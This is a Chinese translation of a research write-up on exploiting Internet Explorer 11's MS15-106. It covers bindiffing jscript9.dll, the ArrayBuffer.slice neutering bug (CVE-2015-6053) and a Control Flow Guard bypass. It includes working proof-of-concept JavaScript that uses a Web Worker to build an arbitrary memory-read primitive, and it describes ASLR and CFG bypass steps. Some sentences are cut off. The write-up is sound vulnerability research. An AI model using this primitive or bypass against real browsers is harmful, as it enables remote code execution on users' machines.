<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/16892

            0x00 引言


            這是“Exploiting Internet Explorer’s MS15-106”系列文章的第二部分,如果您沒有閱讀過第一部分,我建議您開始閱讀本篇之前去閱讀前置文章

            系列的前一篇文章提到過,2015年的8月13日,微軟放出了更新補丁security bulletin MS15-106,里面包含了有關Internet Explorer的多個漏洞。之前,我們已經解釋了怎樣攻擊VBScript引擎里面Filter函數中存在的類型混淆漏洞,以及怎樣利用這個漏洞劫持IE代碼執行流程。不論怎樣,我們都需要繞過ASLR保護才能在有漏洞的瀏覽器中執行任意代碼,用前一個漏洞過掉ASLR是很困難的。那么,我們來看下怎樣攻擊另一個同樣披露于MS15-106中的漏洞,以及怎樣過掉地址隨機化。我們現在即將討論的是ZDI于advisory ZDI-15-518描述的漏洞:JScript ArrayBuffer.slice Information Disclosure Vulnerability (CVE-2015-6053)。

            引用ZDI的描述:

            The specific flaw exists within the implementation of the ArrayBuffer.slice method. By supplying specially crafted parameters, an attacker can read the contents of arbitrary memory locations. An attacker can use this information in conjunction with other vulnerabilities to execute code in the context of the process.

            0x01 二進制比對


            比對的樣本是 jscript9.dll 5.8.9600.18036(漏洞版本)和 jscript9.dll 5.8.9600.18052(修復版本),和上一篇文章中一樣,測試平臺是64位windows8.1和IE11。

            ZDI說明中提到問題出現在JavaScript的ArrayBuffer.slice方法中,通過比對兩個不同版本的DLL文件,可以確定函數Js::ArrayBuffer::EntrySlice()被補丁過了。

            p1

            MSDN中有關 ArrayBuffer.slice 的描述為:

            p2

            這個函數流程大致預覽對比如下:

            p3

            進入函數Js::ArrayBuffer::EntrySlice()詳細看,注意紅色方框里面的代碼:

            p4

            右邊紅色方框里面,增加了Js::ArrayBuffer::EntrySlice()函數檢查:補丁后的版本檢查了ArrayBuffer結構體偏移0x10字節的內容,如果這里不是0的話,就拋出TypeError異常。

            But...ArrayBuffer結構體偏移0x10字節的成員是什么?

            觀察下Js::ArrayBuffer類,在初始化的時候偏移0x10的位置被設置成0,然后函數Js::ArrayBuffer::CreateNeuteredState()將偏移0x10這里的數值設置成它的參數:

            p5

            (譯者:CreateNeuteredState()這個函數名字里面的Neutered是閹割、絕育的意思)

            如此,這個偏移0x10字段的內容標志著ArrayBuffer是否被結扎,也就是說,如果在一個結扎過的ArrayBuffe里調用slice()方法的話,就會拋出TypeError異常。

            了解了補丁的意義之后,我立刻想到這個bug和之前Pwn2Own2014上攻擊FireFox的方法有些類似:

            https://bugzilla.mozilla.org/show_bug.cgi?id=982974

            0x02 結扎ArrayBuffer


            那么,到底什么才是結扎ArrayBuffer?

            就像

            換句話說,當一個ArrayBuffer對象被結扎,它的長度變成0,對象里指向成員內存的指針被置成NULL。想要結扎一個ArrayBuffer對象,可通過把他從Web Worker中傳遞出去。

            下一個問題是:怎樣才能把ArrayBuffer從Web Worker中傳遞出去?

            引述http://www.html5rocks.com/en/tutorials/webgl/typed_arrays/:

            Transferable objects in postMessage make passing binary data to other windows and Web Workers a great deal faster. When you send an object to a Worker as a Transferable, the object becomes inaccessible in the sending thread and the receiving Worker gets ownership of the object. This allows for a highly optimized implementation where the sent data is not copied, just the ownership of the Typed Array is transferred to the receiver. To use Transferable objects with Web Workers, you need to use the webkitPostMessage method on the worker.The webkitPostMessage method works just like postMessage, but it takes two arguments instead of just one.The added second argument is an array of objects you wish to transfer to the worker. worker.webkitPostMessage(oneGBTypedArray, [oneGBTypedArray]);

            到目前,我們可知,創建一個ArrayBuffer對象,然后通過postMessage()傳遞給Web Worker,這樣的話,這個ArrayBuffer就被結扎了(長度變成0,數據指針被置null)。

            但,漏洞在哪?IE做了和FireFox相同的事情,當運行ArrayBuffer.slice()方法的時候,代碼邏輯去保存ArrayBuffer中當前有效的byteLength:

            p6

            當ArrayBuffer.slice()方法的參數不是原始類型,就會調用當前傳遞進來的對象的成員函數valueOf()。這個過程發生在Js::ArrayBuffer::GetIndexFromVar()函數內部。

            p7

            攻擊的思路,在FireFox Pwn2Own里解釋過,就是利用這樣一個原理:原生代碼會調用攻擊者構造的JS代碼(攻擊者控制的對象里面的valueOf()函數),以此來實現在Js::ArrayBuffer::EntrySlice()函數內部(錯誤地)結扎ArrayBuffer對象。就是說,我們就構造了一個前后矛盾的情況——正常的byteLength值在函數一開始的時候被保存,而經過兩次Js::ArrayBuffer::GetIndexFromVar()調用,對象卻又被結扎。

            順便提下,這是有關攻擊ECMAScript引擎重定義的另一個例子,Natalie SilvanovichBlack Hat 2015 presentation的議題。

            (譯者:原文這里說得不是很明白,其實就是通過重定義valueOf()函數,強迫對象被Neutered,指針清零,導致后面的start_argument被當做讀取地址,形成任意地址讀的漏洞)

            ArrayBuffer在Js::ArrayBuffer::EntrySlice()函數里被意外地結扎后,這個函數試著去創建一個被結扎的ArrayBuffer對象的副本:

            p8

            函數memcpy()的參數具體如下:

            問題出現在src參數上,由于ArrayBuffer被結扎,src參數應該計算成ptr_to_raw_data + start_argument = 0 + start_argument,這導致在調用memcpy(new_arraybuffer, arbitrary_src, arbitrary_size)的時候,我們可以泄露瀏覽器進程的任意地址內存。

            同時要注意,start_argument和end_argument會被和原來的ArrayBuffer里的byteLength對比檢查,也就是說,要泄露任意地址X的內容,被攻擊者操縱的ArrayBuffer的byteLength數值必須必X大。比如,想要在地址0x1a1b2000處讀取4bytes內容的話,必須這樣做:

            #!cpp
            var address = 0x1a1b2000;
            
            /* Size of the ArrayBuffer must be greater than the 'start' and 'end' arguments for slice() */
            var arrbuf = new ArrayBuffer(address + 0x10);
            
            /* The 'Trigger' object implements the valueOf() method, which neuters arrbuf in the middle of the slice() operation, and finally returns the end offset (address+4). */
            var trigger = new Trigger(address + 4, arrbuf);
            
            /* Trigger the vulnerability. Note that the 2nd argument isn't a primitive value but an object. slice() will return a new ArrayBuffer object containing a copy of the 4 bytes stored @ address 0x1a1b2000 */
            var kslice = arrbuf.slice(address, trigger);
            
            /* Finally, create a DataView on the new ArrayBuffer object and read a dword from it. Bingo! */
            var leaked_dword= new DataView(kslice).getUint32(0, true);
            

            0x03 Proof of Concept


            我們來看POC,這是index.html的代碼:

            #!html
            <!DOCTYPE html>
            <html>
            <head>
                <meta charset="utf-8" />
                <title>MS15-106 PoC (CVE-2015-6053)</title>
                <script type="text/javascript" src="exploit.js"></script>
            </head>
            <body>
                <h1>MS15-106 PoC (CVE-2015-6053)</h1>
            
                <div>
            
                    <div>
                        <fieldset>
                            <button id="workersButton">Transfer/neuter ArrayBuffer</button>
                            <div id="outputBoxWorkers"></div>
                        </fieldset>
                    </div>
                </div>
            
            </body>
            </html>
            

            然后是exploit.js的部分,包含了攻擊的邏輯。當點擊“Transfer/neuter ArrayBuffer”按鈕的時候,leak_dword(0xffff)函數被調用。leak_dword()函數接受一個內存地址作為參數,然后利用這個漏洞在這個地址讀取4bytes內容。這里讀取0xffff地址的內容,出發了一個訪問異常,來做為演示。

            最有趣的部分是Trigger類的代碼,它的構造函數接受對象的end_offset作為一個ArrayBuffer的實例當做參數。這個類也實現了valueOf()函數,其被原生函數Js::ArrayBuffer::EntrySlice()調用到的時候,即把ArrayBuffer的從屬關系交給一個新的Web Worker,從而實現結扎ArrayBuffer,最后返回對象的end_offset。

            同樣注意下leak_dword()把一個Trigger類的實例當做第二個參數調用漏洞函數slice()。

            #!js
            (function () {
                var the_worker = null; // Will contain a reference to a Web Worker "thread".
            
                function initialize() {
                    document.getElementById('workersButton').addEventListener('click', handle_workersButton, false);
                }
            
                document.addEventListener("DOMContentLoaded", initialize, false);
            
            
                function Trigger(end_offset, arrbuf){
                    this.end_offset = end_offset;
                    this.arrbuf = arrbuf;
                }
            
                /* This method gets called from the middle of the Js::ArrayBuffer::EntrySlice() native function */
                Trigger.prototype.valueOf = function() {
                    this.neuter_arraybuffer();
                    return this.end_offset;
                }
            
                Trigger.prototype.neuter_arraybuffer = function() {
                  if (the_worker) {
                    the_worker.terminate();
                    the_worker = null; // Allow the garbage collector to clean up the Web Worker object.           
                  }
            
                  the_worker = new Worker('the_worker.js');
            
                  the_worker.onmessage = function(evt) {
                    if (evt.data.msg){
                        document.getElementById('outputBoxWorkers').innerHTML = evt.data.msg;
                    }
            
                  }
                  /* Neuter the ArrayBuffer by transferring its ownership to a new Web Worker */
                  the_worker.postMessage(this.arrbuf, [this.arrbuf]);
            
                }
            
                /* Returns a 32-bit integer with the leaked dword value */
                function leak_dword(address){
                    var arrbuf = new ArrayBuffer(address + 0x10);
                    var trigger = new Trigger(address + 4, arrbuf); 
                    var kslice = arrbuf.slice(address, trigger);
                    return new DataView(kslice).getUint32(0, true);
                }
            
            
                function handle_workersButton(){
                    var trampoline_addr = leak_dword(0xffff);
                }
            
            })();
            

            最后是假的Web Worker代碼(the_worker.js):

            #!js
            self.onmessage = function(evt) {
              var arrbuf = evt.data;
            }
            

            如果你用調試器附加瀏覽器后運行這個POC,會得到Crash,崩潰在memcpy(),從地址0xffff非法讀取:

            #!bash
            (84c.8ac): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            *** ERROR: Symbol file could not be found. Defaulted to export symbols for msvcrt.dll -
            msvcrt!memcpy+0x52:
            7785b3f2 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:0000ffff=????????
            

            0x04 Bypassing ASLR


            正如您所見,上面的poc會導致IE崩潰在讀取未分頁地址0xffff。如果要寫完整的exploit的話,就需要泄露一些已知的有用的地址內容。由于IE即使在64位windows上也會默認運行32位的版本,采用

            這個基址被傳遞給了exploit的第二部分(VBScript的Filter函數的類型混淆漏洞,導致任意代碼執行,在上一篇中討論過)。

            這里有趣的一點是,內存泄露漏洞只影響IE11,因為漏洞函數ArrayBuffer.slice()在低版本IE中并不支持。所以利用這個漏洞必須要IE11的文檔模式,同時,VBScript又在IE11中不再支持,所以利用VBSript漏洞的時候又要切換到IE10的文檔模式。

            到此,我們已經繞過了ASLR,并且有了獲取EIP控制權的第二個漏洞,但還有最后一個防護要繞過:Control Flow Guard

            0x05 Bypassing Control Flow Guard


            有關CFG已經討論過很多次,調用函數之前會用ntdll!LdrpValidateUserCallTarget函數驗證。

            編譯器會在每一個調用之前都放置一個CFG驗證函數,我去年討論過CFG繞過技術——利用Adobe Flash的JIT編譯中沒有被CFG保護的函數。

            所以這次,我問自己:能否在一個指定的二進制文件中找到沒有被VS C++編譯器CFG保護的函數?

            你一定不想人工肉身做這件事,我寫了一個IDAPython腳本,來橫跨瀏覽整個二進制文件,尋找沒有被CFG保護的函數調用和跳轉存在的函數,同時這些函數又被CFG認為是合法的,最后將符合條件的函數保存成一個列表。

            你已可猜到,假設我們可以從一個被CFG保護的函數里跳轉到任意地址,那就從這個被保護的函數里面,控制跳轉地址,跳到我們想要的地址,繞過CFG。

            腳本跑出的結果再經過人工刪選,最終的最優解如下:

            p9

            看下Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk()函數的代碼,它調用(標記為紅色的jmp eax)函數Js::DynamicProfileInfo::EnsureDynamicProfileInfo()返回的指針,而沒有經過CFG檢查,這就是我們想要的情況。

            但是函數Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk()并未被標記為CFG合法的函數,它前面的函數sub_10162CE0卻被標記為合法的CFG函數,而且這個函數非常簡單,只有一條人畜無害的指令MOV EAX, EAX,意思是順延到下一個函數:Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(),呵呵噠,條件達成!

            更完美的是,Js::DynamicProfileInfo::EnsureDynamicProfileInfo()函數接受的參數(IDA里顯示,應該是一個Js::ScriptFunction對象的指針)正好可以被我們完全控制。這里截取一小段上一篇文章的代碼,VBScript里面的漏洞VAR::ObjGetDefault + 0x6b處,一個完全由我們控制的值被壓棧,然后調用CFG保護的函數:

            p10

            也就是說,我們可以提供一個假的Js::ScriptFunction對象指針給函數Js::DynamicProfileInfo::EnsureDynamicProfileInfo(),通過精心構造(古師傅的噴射代碼是你忠實的小伙伴)一個假的指針鏈交給Js::DynamicProfileInfo::EnsureDynamicProfileInfo(),這個函數會返回一個我們控制的指針,交給后面的jmp eax跳轉。

            稍微總結下

            觸發VBScript的類型混淆函數之后,CFG保護的CALL [ESI]指令會調用jscript!sub_10162CE0,這個函數是CFG合法的,然后這個函數順延執行到Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(),我們可以完全控制這個函數里面調用的Js::DynamicProfileInfo::EnsureDynamicProfileInfo()函數的參數,精心構造的指針鏈讓這個函數返回我們ROP鏈的地址,然后這個ROP就被沒有CFG保護的jmp eax調用。就是這樣啦,繞過了CFG。

            最后一點討論

            我們和微軟MSRC的人郵件討論過關于這種繞過CFG的方法,他們說這種方法之前由騰訊玄武的人率先在Chakra JS引擎上提出。

            騰訊的人用的是Js::JavascriptFunction::DeferredParsingThunk()函數繞過CFG,而我們用的是Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk();騰訊用的方法是覆蓋合法的Js::ScriptFunction對象里面的函數指針,而我們采用了古師傅的堆噴射方法;第三點不同是我們通過VBScript模塊跳轉到未受保護的jmp eax,而玄武實驗室是通過JS引擎跳過去的。

            不過這都無所謂啦,Chakra.dll已經被補丁過,所以這種CFG繞過方法在Edge瀏覽器上再也不能用啦。

            0x06 原文


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线